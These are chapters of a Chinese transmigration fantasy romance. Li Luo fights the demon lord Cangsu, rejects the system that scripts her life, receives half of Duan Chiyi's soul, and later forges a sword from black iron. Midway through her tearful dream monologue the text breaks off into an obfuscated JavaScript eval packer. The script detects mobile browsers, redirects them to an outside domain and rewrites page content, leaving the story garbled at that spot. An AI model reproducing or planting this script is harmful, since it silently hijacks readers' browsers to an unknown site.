高楼大厦下,宽敞道路旁,树木成行笼罩在两侧,儿童咿呀学语,少年步伐欢快,车轮碾过柏油马路,卷起的风带着碎裂的枯叶纷飞飘扬…… 父母站在那景中,容貌像是萦绕了一层暖光,冲她温柔地笑。 或许他们还在等她。 黎落痛苦地闭上眼睛。 但她却是那被碾碎后被风卷起的枯叶,再难回到树上、安然等候四季。 她知道系统的意思。 和沧宿合作,没有人会是原书男主的对手。 她看见段迟意说了句什么,但声音不能传到她的耳朵里。 于是她只能从他的唇形分辨出: “黎落,别怕。” 事到如今,他还在担心她会害怕吗? 眼前的幻影晃动,视野恢复原状。 背后的沧宿出声: “如何?珩亦仙君,你不是要守护苍生吗?现在杀了她,毁了混沌之力,本尊便再也无法渡过天劫,成为魔神。” 段迟意没有搭理他,仍对黎落说: “你相信我,无论是珩亦还是段迟意,我都不会对你动手。” 沧宿嗤笑出声: “真是感人至深啊,你珩亦仙君手握仙门破妄剑,踩着你青崖城全城的性命才有了仙门首徒的位置,竟还有脸说出这样的话……” 他抬手,魔气一扯,隔空捏住了黎落的脖子。 段迟意剑气顿生,却担心伤到黎落,只从侧边划过,被沧宿轻松躲开。 黎落于是再次正面对上封樾的这张脸。 长眉凤眸,高鼻薄唇,分明还是一样的容貌,只是额间多了沧宿的魔印。 甚至对方眯起眸子端详她,眼里的玩味之色都分毫不差。 “黎落,虽然你多次中伤本尊,但你很有趣。本尊对你的承诺仍作数。” 他手一抓,便将仙门飞来探查消息的仙鹤捏在手里,看向黎落: “选仙门,还是本尊?” “黎落!” 段迟意在身后提醒她: “就算你不信任我,也不能相信魔!” 黎落看着沧宿的脸,忽然开口问了句: “你知道,你现在是男主了吗?” 沧宿挑眉,双目中露出困惑。 但那双暗沉的凤眸仍带着桀骜和狂妄: “你又想拖延时间?” 黎落闻言摇了摇头,没回答他的话。 真的和封樾一模一样啊…… 套上男主的壳子,说男主的台词,走男主的剧情。 甚至一而再再而三对她流露出明显的好奇。 她不禁莞尔。 如果把原书里描述男主的话当场念出来,沧宿会不会和她一样,觉得人生被人窥探,命运被人摆布? 他还能如此坦然地说出这些话,做出这些举动吗? 他也会因为愤怒,头一个杀了自己吗? 黎落越想越觉得好笑。 她觉得自己这辈子都没听过这么多好笑的笑话,见过这么多好笑的人。 好像有一根紧绷的弦终于彻底断掉,于是她蓦地大笑起来,神色却分不清悲伤和欢愉。 她笑得几乎弯下腰去,笑到最后甚至又忍不住开始干呕。 沧宿见状有些纳罕,估计是觉得她疯了,抓着她的魔气松了一瞬。 便是在这一刻,黎落手中忽然凝出一把锋利的刀,直直捅进他的心口。 她脸上还留着点笑意,双眸却已冰冷一片。 沧宿一愣。 身后的段迟意最先反应过来,身形瞬间出现在沧宿之后,破妄剑携带寒意,朝他猛得刺下——却被黎落的混沌之力抵着,无法刺入沧宿身躯。 沧宿瞪着黎落,目眦欲裂。 “你敢杀我?” 他脸上露出狰狞表情,声音沉闷似暴雨前的惊雷: “你体内尚有我的魔魂,竟敢伙同仙门一起杀我?!” 魔气上涌。 沧宿故技重施,想用魔气将黎落体内的混沌之力拉扯出来。 若是扯不出来,他便可趁着黎落被魔气控制的瞬间,放弃封樾的身体,夺舍她! 黎落想让他死,那她也休想活! 沧宿脸上浮现出不加掩饰的凶残杀意。 黎落毫无惧意,甚至可以说是饶有兴致地看着他。 魔气在她五脏六腑躁动不休,她的表情反而越发自在。 其实无论真与假,人一旦想要抛弃掉什么的时候,往往很简单。 只要她真心想。 她松开执念,感到一块本就不属于她的、沉重潮湿的东西自她经脉中被拔出。 ——魔魂离体,朝着沧宿心口的空洞飞去。 混沌之力无法压制,开始反噬自身。 但黎落没有立即收手,她反而促进了混沌之力的生发,捅在沧宿心口的刀延伸、四散,将这具魔躯内部搅散成一滩。 没了魔魂修补压制混沌之力,人族的身躯抵挡不住这股天地生力,瞬间在她丹田炸开。 最先是她握着刀的手,青筋暴起,炸出血线。 然后是脏腑,碎裂的声音敲响骨骼,如同血色乐章。 被催动的混沌之力一路沿着她的经脉四散,她的皮肤像是断了连接线的破布,一下子四分五裂起来。 鲜血瞬间从她周身漫出,染红了衣服。 沧宿再难维持住冷静的表情,震惊和痛意在他脸上交替出现,半是为了自己,半是为了黎落这副满身血却还笑得出来的疯狂模样。 竟比他一个魔还要疯! 魔尊暴怒,魔气疯狂撕扯拼凑,却无法摆脱混沌之力对他躯体的破坏。 “你疯了!你疯了!” 系统头一次出现明显的惊慌,连装模作样的尊称“您”都不用了,在她脑海中大喊着: “你不想回家了吗?你不想活了吗?” 黎落神色坦然,打断它的尖叫: “我不回去了。” “你说什么?” 它不敢相信。 “我从来都不相信你,你说的每句话我都不相信。” 系统诧异: “你有什么可不相信的……” 黎落将项链从衣领中拽出来。 微微用力,手上的伤口便纷纷崩得更开些,几乎要露出森然白骨。 蝴蝶形状的白玉边缘硌着她掌心的伤口,却让她觉得从疼痛中生出几分痛快来。 黎落盯着手里的坠子,脸上的血落在蝴蝶翅膀上,将白玉染成红的。 “我该信什么呢?” 她笑着问系统,眼底却一派森然: “如果最后的死亡就是真的死亡呢?” “如果我回到现代,你又拿出剧本,说现代的父母也是假的呢?” “万一你又趁我放松警惕,将我送去另一个世界呢?” “你告诉我,我该怎么分清真实和虚假?我该怎么作为我自己活着呢?” 喉咙深处涌出铁锈般的血气,黎落感觉自己像一个充气过度的气球,外皮皲裂、破口,才能缓解内里爆炸窒息一般的痛。 但她就算是立刻死掉,也不想让系统洋洋自得地踩在她头上指手画脚。 她声音发颤,却毫不犹豫: “我只能相信我自己,高兴就是高兴,难过就是难过,我只相信此刻的我自己!” “你大可抹杀我——” 滚烫的泪水从眼眶中落下,混着半空中的雪砸到地上,仿佛能发出惊天动地的声响。 痛到极致,绝望到极致,黎落反而觉得畅快。 她眨眼,更多的泪水滚落,混着脸上的血一起落下,将雪都染成粉色。 她的声音越发坚定: “但我绝不逃跑,绝不敷衍我的人生,我绝不一动不动由着你们摆布!” 说完,她终于坚持不住,猛得吐出一口鲜血,身体碎裂的速度加快。 系统似乎是被她说的话震慑到了,机械音嘎吱嘎吱响了半天,像老旧濒临淘汰的古董器械。 黎落弯起眼睛,看向面前的沧宿——男主。 魔气又如何,魔尊又如何,过不了天劫,人人都是天道造物的刀下魂。 可过了天劫又如何? 男主,女主,她,还有他们,全都是剧情的棋子。 黎落露出闲适放空的表情,仿佛面前这出荒诞的舞台剧终于走到了结局。 隐约间,听见有人叫她的名字。 语气好凶。 也许不是凶,是直白的恐惧。 她松开手,沧宿的身体便像是破败的布一样,自半空坠下。 挟制着她的魔气散去,黎落也跟着仰面朝地面摔去。 但她没有砸到地上,而是落进了一个冰冷的怀抱。 段迟意的手臂都在颤抖。 他摸了一手的血,却不敢松手,更不敢用力。 他从未感觉如此无措,甚至不知道该怎么抱黎落才不会按到她的伤口。 他怕她疼,他气她对自己如此心狠,却更害怕她会死。 段迟意一边将灵力朝黎落体内输送,试图帮她将混沌之力的反噬压下,一边喊她名字: “黎落,黎落!摒弃杂念,气沉丹田,把灵力转成你自己的气息!” 他很少露出害怕的情绪,更遑论是这样发自内心的恐慌,情急之下连人 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他收紧手臂,将她抱进自己怀里。 “对不起……” 他用下巴轻蹭她的头发,低声说: “以后……如果有机会,你告诉我,我和你一起承担。” 她的血渗透了自己的衣服,又沾了他一身。 黎落感受到他的怀抱不再像以前那样安稳,反而抖个不停。 他道什么歉呢? 他又怎么和她一起承担呢? 黎落心里不是滋味。 于是她叹了口气,转而道: “我本来想送你一把剑。” 段迟意的灵力在她体内流动,却不及混沌之力破坏的速度。 他声音也在颤抖: “我知道。” “我以为你知道我是珩亦以后,便不想送了。” 黎落闻言扁嘴: “还是想的。” 她扬起脸问他: “可你还想要吗?” 段迟意低头看她,神色认真: “想要,我一直想要。” 黎落被他话语中的傻气逗笑。 只是她一笑,身体就崩裂得更快。 段迟意被她气的不行,双臂将她用力箍着,十分没有底气地威“恐吓”她: “不许笑!也不许动!” “可是你的破妄剑那么好,我怎么才能找到更好的剑呢?” 黎落面露苦恼: “段迟意,你起点太高了啊,我很难超越的。” “不高。” 他闭目垂首,嘴唇在她额头印下一吻。 冰凉的,却比太阳还要温暖。 段迟意微微和她拉开距离,双唇被她的血染红,冷黑的双眸里映出她满脸是血的样子,整个人仿佛一块刚出寒泉的冰,带着幽蓝的冷光。 他眉心有幽蓝的人形光球浮现。 而后剑气毫不犹豫划过,那光球便被从中劈开成了两半。 段迟意的脸色瞬间变得惨白,唇边逸出鲜血,和她的血混在一起,让他的容貌更加惊人。 黎落蓦地睁大了眼睛,却被他牢牢抱着,亲眼看着那被切成两半的光球钻进她体内。 灵力一瞬间在她体内暴涨,带动她的衣袖裙摆都飘了起来。 散落的乌发飞扬,和段迟意的纠缠在一起。 他抬手,指尖轻柔触碰她的发,声音沙哑,一字一句道: “我自此,不再用破妄剑。” 话音落,一道瞬移灵符被他按在黎落身上。 黎落一惊,下意识想抓住他的衣服,却只来得及从他垂下的发丝上拂过,握了一手空荡荡的冷。 耳边同时传来仙门中人的呼喊: “抓住她!她有混沌之力!” 刀光剑影朝着她和段迟意冲来,但比仙门弟子更快的,段迟意的灵符已提前将黎落转移走。 黎落只来得及看到他的唇形,对她无声说了两个字: “别怕。” 下一秒,她人已在云苍阁中。 黎落茫然地抬手,上面的伤口已经消失不见,只余下斑驳血迹。 但中间似乎还保留着段迟意头发的触感,冰冰凉凉的,像潺潺冷泉流过。 她下意识触摸自己的头发,发现散落的头发被一根发簪挽了起来。 粉白两色的花瓣。 是她当日在骨伞中刺伤珩亦、后又碎裂的那根。 ——被他拼好了。 52. 第 52 章 云苍阁外浮光一闪,黎落下意识抬头朝窗外看去。 是有人闯门,却被段迟意设下的禁制拦住。 穗穗说,发现她被抓走的同时,段迟意便演都不演了,直接用修士的修为设下禁制,将云苍阁彻底围成了铁桶,连带着云苍城一起,里三层外三层,没人能闯得进来。 安全是安全,但仙门修士在魔族地盘当了这么久副阁主,甚至还混成了阁主心腹,穗穗觉得又生气又古怪。 “若非矿脉长在此处无法移动,我定是要追去极渊将此人的身份告知阁主的。” 穗穗说着,浅金色的眸子闪着光,看着十分有活人气: “没想到阁主已经知道了……这个段迟意,竟敢混进云苍阁,欺骗阁主和我!” 黎落拍拍她的肩膀: “我真的没事,别生气了。” 穗穗又说道: “阁主不气就好,虽然没了副阁主,没人能做好吃的,也没人能帮我们处理杂事,更没人陪我打架,怎么能留下个禁制就跑了……” 她看着黎落越来越皱巴的脸色,急忙改口: “但是他已将一半神魂送给阁主了,以后怕是也拿不起破妄剑,成了仙门弃子,这种人不配当我们云苍阁的副阁主。” 黎落动作一顿: “那……他会怎么样呢?” 穗穗道: “可能会重入寒冰吧,仙门那群人,向来不讲情分。” “想必,他很难再回来了……” 黎落“唔”了一声,没有回答。 穗穗将抱着的书放到她身边: “仙门修士实在太阴险了,竟然连首徒都派来我们云苍阁当卧底。阁主你看,这是他每天看的书,《灯下黑之美男计》,阁主被他蒙蔽了。” 黎落的目光从封皮上的“美男计”三个字上面掠过。 她的思绪不由自主偏到了第一次看见段迟意真容那天…… 她勾起嘴角,想笑却笑不出来,手指下意识摩挲袖中发簪。 段迟意或许是想用这根发簪逼她认清他的身份,却又间接将他的情感剖析给她看。 只是他某种时候又太过残忍,没能给她回应的机会,便主动将她送走。 …… 回过神的时候,发现穗穗不知何时已经离开了。 黎落于是收回思绪,继续翻着云苍阁的古籍。 以前的阁主是个抓人炼丹的混蛋,他人被黎落杀了,一应器具和资料却还保留了下来。 黎落于是可以直接拿来研究玄铁的相关资料。 她原本觉得,玄铁可以变成武器,或许只是一个不可信的传言。 但如今玄铁到手,她总想试一试。 只可惜折腾了好几天,不论是砸、烧、烤、蒸,还是用混沌之力和其“谈心”,玄铁仍毫无动静。 地上堆了好多书,黎落坐在中间一本本翻过去。 大多是些讲述人族如何通过邪术获得神力长生不老的,几乎每一页都有抓人杀人的步骤,手段不乏残忍狠毒,看翻阅痕迹,前任阁主大多都试过了。 黎落越翻越觉得生气,恨不得现在就去把花下面埋着的前任阁主挖出来再杀一遍。 但一起身,不小心带倒了放在腿边的星星灯,满屋光点流萤一般晃动,像银河倾泻,一半倒在地上,一半流过穗穗放在她身边的书上。 她起身的动作停住。 蹲下身,将最上面那本《灯下黑之美男计》拿了起来。 这是一本在人界十分普通的话本子,随便一个书铺都能买到相似的内容。 讲的是一位公主残忍嗜杀,手下亡魂无数,百姓重金雇佣一杀手,用美男计勾引接近,欲刺杀公主。 但公主与杀手相处多日,互生情愫,最后两人携手逃离皇宫、奔向自由江湖的故事。 黎落越看越诧异,段迟意那样的剑修,竟然会喜欢这样老套的故事,甚至还认真地在每一页都做了批注。 杀手记录的公主的喜好,被他换成了她的。 “喜欢漂亮裙子,但不会绑复杂的丝带,需要提前绑好。” “晚上喜欢熬夜,不喜黑暗,需要留灯,但灯太亮会生气。” “喜欢糖油果子(划掉),吃得不多,一吃就哭,但哭的时候吃会笑。” “睡觉常做噩梦,喜欢抱东西,抱着我时睡得很好。” “厌恶蝴蝶玉坠。” “……” 黎落下意识低头看了一眼自己身上穿的裙子,袖口的蝴蝶结是提前绑好的,左右绳结完全对称,像是测量过一样。 垂下的部分被灯光倒映在墙上,细纱拂过灯罩,真的像蹁跹的蝴蝶,在星星点点的光下轻盈飞舞。 她看得有些愣了。 一低头,发现她翻到了最后一页,段迟意在旁边写着: “往事苦痛,前程渺茫,愿她不必再手握刀刃,从此刀锋向外,不再自苦。” “……” 黎落感觉自己的心跳忽然变快,整个胸腔、耳膜、头脑中都充斥着“咚咚咚”的心跳声,像连续且密集的鼓声,敲得她无法思考。 她捂住嘴,感觉心脏下一秒就要从嘴里跳出去。 幸好没过多久,她感觉自己的心跳又一点点平缓下来,只是血液中还残留着那股激动的后劲。 好像被书上的字灼伤眼睛烫到手一样,黎落迫不及待地把手里的书扔在一边。 但很快,她又拿回来,翻到最后一页看了看,又迅速合起来,甚至朝远处推了推。 最后她瘫开胳膊靠在背后的书堆上,头朝下吊着看向窗外。 视野颠倒,窗外时不时冒出的禁制屏障像是接连炸起的烟火似的,在墨色夜空中绘出线条流畅的图案。 极渊之后,仙门和魔族都知道混沌之力在她身上。 沧宿被她重伤,虽未死,却也元气大伤,仓惶逃回魔宫后便迅速集结了魔族大军围在云苍城外,想要从她手中抢回混沌之力。 仙门想杀魔尊,却更担心拥有混沌之力的她。 一时间,她这样一个原本会被虐身虐心的“工具人”女主,竟摇身一变,成了被所有人忌惮的三界公敌。 她身处这样无时无刻不在被窥伺和试探的情境下,本该提心吊胆、警惕不安。 但神奇的,她心中却格外平静。 段迟意设下的禁制好像一堵牢不可破的墙,将所有的纷扰和混乱都阻隔在了外面。 他的神魂气息温润,不再像魔魂那样时时躁动。 自系统出现、两河镇被屠后,她还是第一次过上这么安宁平静的日子。 黎落不禁眯起了眼睛。 攻击敲在禁制上又被弹开的声音像是有节奏的鼓点,引得她昏昏欲睡。 恍惚间,她仿佛闻到了一股清冷的幽香。 这味道她十分熟悉,像一个温柔的泡泡,将她整个人包裹在其中,并不很暖和,却清水细流般冲刷着她的思绪,让她下意识感到放松,忍不住沉溺其中。 迷迷糊糊间,听见段迟意对她说: “黎落,你怎么又熬夜不睡觉?” 以前的每天晚上他都会这么说。 然后她就可以同他撒娇,打断他的一切计划,邀请他一起聊天,陪她渡过漫长的黑夜。 但今天,刚一张口,黎落就觉得心里的委屈像是涨潮时的水一样,顷刻间冲上了岸,把她连续好几日才堆好的沙滩城堡撞了个粉碎。 她忍不住哽咽起来: “你怎么才来催我睡觉啊?我都熬了好几天了。” “你这个副阁主怎么擅离职守,一跑就不再回来了呢?” “段迟意,你真是太讨厌了,你干嘛要救我呢?我根本不爱你!我不会爱上这里的任何一个人!” 面前人容貌朦胧,看不清楚表情。 他伸手,摸了摸她的头发,指腹冰凉却柔软,声音带笑: “傻子。” 黎落听了更加生气: “你凭什么说我傻?你根本就什么都不知道,我其实根本摆脱不掉系统和剧情的控制,抢了这么多东西,杀了这么多人,最后还是什么也做不到……” 她抬手抹眼泪: “我也回不去家了,我已经和他们不一样了,我现在是个彻头彻尾的坏人,哪都去不了了……” 段迟意没说话,只动作轻柔地将她眼角的泪拭去。 “你不是坏人。” 然后他说: “不要害怕。” 黎落却埋头“呜呜”哭了起来。 “为什么我一开始特别想回家的时候,系统不送我回去呢?为什么我好不容易接受了,它又开始让我回去了呢?” “他们为什么要杀爹娘,却要说是为了我能进入剧情,我不想进剧情,我不想害死别人的,我可以永远不回家,他们能不能别杀我周围的人……” “我真的没有办法,他们都要杀我,系统说的会救我的男主根本没有出现,我杀了人才知道自己原来是个怪物,可是变成怪物才不会被别人杀……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549157|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为什么我要当奴隶当丫鬟去勾引男主,他还会打断我的骨头挖走我的心脏,为什么我要攻略这样的人,我到底哪里做的不好……” “可是他死的时候,系统竟然直接就换了男主,好像封樾这个人从来没有出现过似的,人怎么可以这样被随便顶替呢?” 黎落感觉自己在段迟意面前总是控制不住情绪,很容易崩溃。 这个认知让她更加委屈。 “我真讨厌这个世界,我好讨厌你们……” 她站着哭累了,又蹲下哭,最后直接坐到了地上。 梦里的段迟意一直守在她身边。 她坐在地上哭到一半,抬手想扯他的衣服擦眼泪。 段迟意于是主动朝她走近了一步,单膝蹲下,将袖口递给她。 黎落接过袖口,一眼也没看他,只顾着一直哭,像是要把自己这么些年的委屈全都哭出来似的。 不知道过了多久,直到她彻底哭不动了,也不想哭了,这个梦才走到尾声。 段迟意收回皱巴巴的袖子,帮她把哭乱的头发梳好。 黎落声音哭哑了,一张口像个公鸭嗓: “反正是做梦,管头发做什么?我就要顶着鸡窝头出门。” 段迟意闻言,屈指猝不及防轻敲了一下她的头: “别乱跑,他们都想抓你。” 黎落于是气鼓鼓地闭了嘴。 看她垂着头一脸委屈的样子,段迟意又道: “以后我不能护你,你一定要小心,不要相信仙门的话,也不要靠近仙门。” 头发被他握在手里,黎落斜眼看他,赌气地说: “那我去找沧宿,我去和他合作,我们一起当魔神,把三界搅得大乱。” 段迟意笑了一下,将她的头发挽好后,才叹息出声,似是无奈: “我走了。” 黎落睁大眼睛,拉他胳膊: “我……” 梦里的幻影开始坍塌,段迟意侧身,似在等她说最后一句话。 他的五官隐在云雾中,但黎落就是知道,他在看着她。 她小声问他: “我还有事情想当面告诉你,可如果你进了寒冰,我又该怎么告诉你?” 段迟意似乎笑了一下,他张口想说什么,周围却忽然传来一阵剧烈的抖动。 面前的人顿时消失不见。 天旋地转,梦境崩塌。 黎落一下子坐了起来。 睡姿不当,她下意识按住自己的后颈。 却发现自己在梦里哭出了满脸泪水。 腰间挂着的储物袋也跟着颤抖。 黎落将其打开,便见一颗幽蓝的珠子蹭着她的手指飞了出来,悬于她面前。 红色鱼尾打着旋,搅动珠子里的蓝色幽光,将整间屋子都照成深海的颜色。 鲛珠亮了…… 黎落愣住。 下一秒她意识到,鲛珠并不是吵醒她的东西,真正把她晃醒的震动来自隔壁屋子的丹炉。 她先前将玄铁扔在里面,没有拿出来。 而此刻,玄铁带动着整个丹炉都在颤抖。 连穗穗都被惊动了,呆呆站在丹炉前,看了半天,她从肚子里掏出一块淬金石,从炉口扔了进去。 黎落也一脸茫然地站在旁边。 她和穗穗对视一眼,顾不上书里说的什么“五行相生相克”的原则,从旁边随手拿了个天材地宝也扔了进去。 丹炉摇晃地更加厉害。 忽然,黎落感觉手中的鲛珠又开始抖动不休。 她只一松手,那鲛珠便直直飞进了丹炉。 看见鲛珠发光的穗穗“啊”了一声。 但她还没说出话,面前的丹炉就骤然发出一声巨响,热浪冲击,整个屋子几乎要被炸飞起来。 穗穗和黎落来不及反应,急忙抱着头跑远。 待安静下来时,却见身后的屋子已成废墟,唯独其中丹炉依然挺立,炉口冒出一道七彩光芒,将头顶的夜空也映出彩虹色。 很快,丹炉底部开始出现裂痕,那痕迹逐渐朝上蔓延,很快整个丹炉都跟着四分五裂起来。 一柄通体漆黑的长剑静静躺在废墟中央。 幽蓝的鲛珠被压成了薄薄一片,红色游鱼在其中轻微转动,扣在剑柄尾端,成了这柄玄色长剑上唯一的颜色。 剑刃削薄,剑势却凌厉非常,只看上一眼,便觉得被其剑风刮过一样,双目生疼。 玄铁,成剑了。 53. 第 53 章 仙门,寒冰域前。 一人白衣如雪,跪在冰前,身姿却比屹立高耸的寒冰还要笔挺。 乌发垂落,寒气在他发丝上悄然流转,映出幽蓝的光晕,却不及他一双冷黑眼眸璀璨如星。 失去一半的神魂后,段迟意身上冷意更甚。 精致的眉眼被挡在银霜面具之后,苍白的皮肤仿佛半透明,一动不动时,甚至叫人怀疑他是否也是寒冰的一部分。 背后传来窸窸窣窣的声音。 段迟意神色淡漠,冷冷出声:“出来。” 寒冰域是仙门禁地,寻常弟子不得擅闯。 段迟意纵使落魄,仙门首徒余威仍在。 不轻不重两个字,直接将躲起来那人吓得一哆嗦。 张少荣从阴影下挪出来,竟然是来找他的: “珩亦师兄。” 段迟意没有看他,只盯着面前寒冰思过。 张少荣也跟着抬头看了一眼高耸的寒冰。 他其实一直想不通,这么冷的地方,一个活人被封在冰里,到底要怎样的毅力和决心才能坚持两百年? 甚至两百年后破冰而出,等着他的不是修成大道,而是持破妄剑去送死。 珩亦师兄真的像传闻中那样,是害的魔族入侵的青崖城遗民,拿破妄剑是为了赎罪吗? 那他为什么忽然在极渊中动手拦下道君派去的弟子,又放跑了混沌之力呢? 张少荣不禁又看了一眼段迟意。 段迟意察觉到他充满探究的目光,知道他在疑惑什么。 只是青崖城之事,本就与这些弟子无关,他不需要同任何人解释。 至于送走黎落…… 他做出决定的时候,就已经想到了后果,更没什么可说的。 他绝不会让黎落陷入仙门手中。 张少荣犹豫半天,终于忍不住开口,却是问的黎落: “珩亦师兄,云苍阁阁主真的抢了你的神魂吗?她现在还活着吗?道君派了好多人去云苍城,他们会杀了她吗?你的神魂能护她多久?” 因为他句句不离黎落,段迟意终于舍得看他一眼。 张少荣被他这一眼看得有些不好意思。 他挠了挠头,语焉不详道: “不瞒师兄,我与云苍阁主有些交情,听说她出事了,我就有点着急,但是其他人都不告诉我,只能来问师兄了。” 道君会派人去云苍城并不奇怪。 他对此早有准备,门口禁制耗费他几乎半数修为,轻易不会被人闯入。 只是这个张少荣…… 段迟意目光如刀扫过他脸,语调有些古怪: “你和她有交情?” 张少荣先是点了点头,而后又意识到不对,急忙解释: “她真的不是那种很坏的魔头,她就是个又善良又热心的女子,当然长的也很好看,一看她杀人就是有苦衷的……她之前还从杜孟师姐剑下救我来着,抢师兄神魂这事儿只怕还有其他内情……” 眼见段迟意的目光越来越冷,张少荣生怕自己越描越黑,情急之下说了句: “纵使是她主动来抢,想必也是为了自保,师兄要杀混沌之力的主人,总不好叫人家束手赴死吧。” “……” 段迟意沉默地看着他。 善良,热心,长的好看…… 他越听,目光越发冰冷。 分明寒冰下冷得要命,张少荣却觉得自己出了一身汗。 被段迟意冰刀似的目光扫了一遍后,衣服又瞬间被冻成冰块帖在他后背,让他越发坐立难安。 他知道自己替黎落说好话这行为不地道,毕竟对仙门而言,黎落就是个危险性极高的魔。 更何况,珩亦师兄被罚跪在此,也是因为这次失手。 他作为仙门弟子,实在不该在珩亦师兄面前说这些话。 但是…… 张少荣额头也开始冒冷汗。 珩亦师兄始终不说话,只冷冷看着他,他实在怕得很,却还是强忍着没有和别人一起骂黎落。 终于,段迟意大发慈悲收回目光。 他声音淡漠,听不出情绪,说出的话却让张少荣大吃一惊: “神魂,是我送她的。” “为什么?!” 张少荣下巴快要掉到地上,连称呼都忘了说,脱口而出: “你怎么能割自己的神魂给别人?你不要命了吗?” 说完他又急忙捂着自己的嘴,神色戚戚: “对不起师兄,我不是这个意思……” 段迟意面无表情地看着他,反问了一句: “我二人心意相通,为何不能?” 张少荣倒吸一口冷气。 他觉得珩亦师兄这句话信息量太大,他许是得回去消化个三四天才能缓过来。 但对方盯着他的目光并不友好,声音冷酷更胜寒冰: “不过——我倒是很好奇,你与她有什么交情?值得你擅闯禁地,来我面前问东问西?” 他字字句句都像钉子一样砸在张少荣头顶,把他打得越来越矮,脖子都缩进了衣领里: “没……没什么交情,只是上次做交易的时候,我还欠她一样东西……” 段迟意目光冷漠,一副正室做派,毫不留情地问道: “什么东西?” 张少荣僵着脖子,从储物袋中掏出他修补好的“烟锦纱”。 这东西原本只是个能挡化神期修士一招的一次性法器。 但他经历了上次的事后,回来后便一直心神难安。 闭关多日翻书研究,终于叫他试成了一次。 “我将云苍阁阁主给的淬金石和天材地宝全放了进去,还用了自己这么多年来的私藏,终于修好了烟锦纱,现在它虽然只能挡一招,却不仅限于化神期……” 张少荣解释: “毕竟这是她的东西,却救了我一命,我是诚信做生意的,肯定不能昧了这份恩情,却也找不到机会把烟锦纱还给她,所以就想着——” “有恩无情。” 段迟意打断他: “东西给我。” 张少荣警惕地看着他。 段迟意只道: “你炼的剑和烟锦纱,都是她拿来送我的。” “……” 张少荣顿时心塞起来。 怪不得黎落当初提要求,炼出的剑要尽量比破妄剑还好。 原来是为了给珩亦师兄啊…… 张少荣感觉心里酸酸的。 破妄剑已经是世间顶好的剑了,黎落竟然还想着要给师兄找一把更好的…… 师兄凭什么?! 酸成柠檬的张少荣最后还是将烟锦纱给了段迟意。 毕竟珩亦师兄连一半神魂都割了,他还能争个什么劲儿呢? 张少荣酸酸地走了。 走之前,他留给段迟意一个消息: “只怕道君抓不到黎落,就想从魔界下手。” * 珩亦无法再用破妄剑的消息被仙门压了下来,但极渊那日动静太大,还是有消息走露。 沧宿复生又被杀,混沌之力现世,破妄剑主落败,这一连串的事情竟然发生在同一时间,还是打了仙门一个措手不及。 比起失去混沌之力又被捅穿的沧宿,拿了珩亦一半神魂、又催动了混沌之力的黎落,成为仙门如今最忌惮的人。 这样足以毁天灭地的力量,被一个年级轻轻、心性不定的凡人握着,简直让他们无法安枕。 更何况,黎落还是云苍阁阁主,更亲近魔族。 “那日她分明已是强弩之末,若非你教出的好徒儿临阵倒戈,她如何能跑?现下云苍外禁制重重,珩亦学的一身本事,竟拿来防自己人了!” 仙门一长老讥讽道: “成胥道君,昔日你信誓旦旦说珩亦必能斩魔,如今却是看走眼了!” 成胥没有回答。 另一长老道: “珩亦这孩子经寒冰域历练,心性非比寻常,不是那凡人三言两语便能说动的,只怕其中还有误会。” 一人未到场,传音道: “当年青崖城之事我等做的并不隐秘,珩亦发现真相,定会心生怨气,此子已不可信。” “不可信又如何?你们还能从哪再寻一个能拔得出破妄剑的人?除了他, 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“阁主,你现在打算怎么办啊?” 黎落将手里的水壶递给她。 胡六娘顺手接过,从黎落停下的地方开始浇花。 她每浇一株,站在一边的穗穗就从肚子里掏出一块淬金石作为劳务费。 胡六娘顿时眉开眼笑起来,一双狐狸眼弯到几乎看不见,声音也跟着娇媚起来: “哎呀这奴家怎么好意思……” 她浇水的速度更快。 两人配合得十分完美,彼此都很是开心。 黎落从身后的袋子里将剩余的花种全都拿了出来,洒在了空地上。 穗穗很意外: “阁主怎么直接把种子种下了?不计数了吗?” 黎落每次杀人都会种一株花,一开始是为了掩盖原阁主被她杀害的事实,后来则直接变成了习惯,同时还可以计数。 为此,段迟意还特意为她寻了许多花种。 “嗯,不数了。” 黎落回答道。 她看起来心情很好。 以往黎落每次来和这些花聊天的时候总是苦大仇深,看表情,好像下一秒她也会躺在花下面。 她也确实总觉得难受。 一方面是因为剧情,另一方面是因为她杀人越多,也就离现代的和平生活越远。 但她深知自己想要自保,便不能心软。 如今下定决心后,倒有几分拨云见日之感,终于不必再拧巴内耗下去了。 黎落于是笑了起来,补充了一句: “反正以后还会杀很多,索性不数了。” 胡六娘十分赞同: “这世道,争抢资源便是争抢生机。你我妖魔之辈,为求自保不得已为之,何必耿耿于怀呢?” “便是那仙门修士,哪个手下不是上百条妖兽、妖魔的性命?他们就敢说自己杀的都是罪大恶极之辈吗?” 说完,她又“咦”了一声: “阁主现在到底是魔还是仙呢?” 胡六娘停下浇花的动作,提着水壶绕着黎落转了一圈,穗穗也十分好奇地看着她。 “这可是珩亦仙君的一半神魂啊,他还真是敢给。” 穗穗道: “阁主身上没有修士的气息,依然像个凡人。” 胡六娘托腮沉思:“这就奇怪了……” “不奇怪。” 黎落站起身,低头打量自己: “因为这不是我的。” 她敛起笑容,语气郑重地重复了一遍: “魔魂,神魂,全都不是我的。” 说完,她看向胡六娘和穗穗,再度笑了起来: “云苍阁就拜托你们了。” 胡六娘不解: “外面全是人,阁主要去哪?” 黎落将玄铁化成的剑收好,语气温柔,内容狂妄,道了句: “抢回副阁主。” 54. 第 54 章 仙门并非破不开段迟意在云苍城外设下的禁制。 只是魔族也在虎视眈眈,与其一个不慎让黎落和魔族联手,不如化禁制为封锁,将黎落和混沌之力暂且困在云苍。 成胥道君所料不错,比起仙门,沧宿才是当下最为焦虑的人。 他一而再再而三折在黎落头上,无论如何也想不到,自己有朝一日竟会被混沌之力伤到险些再度魂飞魄散。 还是在他的魔魂回归本体之后。 沧宿生平头一次知道嫉妒到发狂是什么感觉。 为什么她一个凡人能催动混沌之力? 为什么混沌之力没有魔魂也会受她所控,反过来伤了自己? 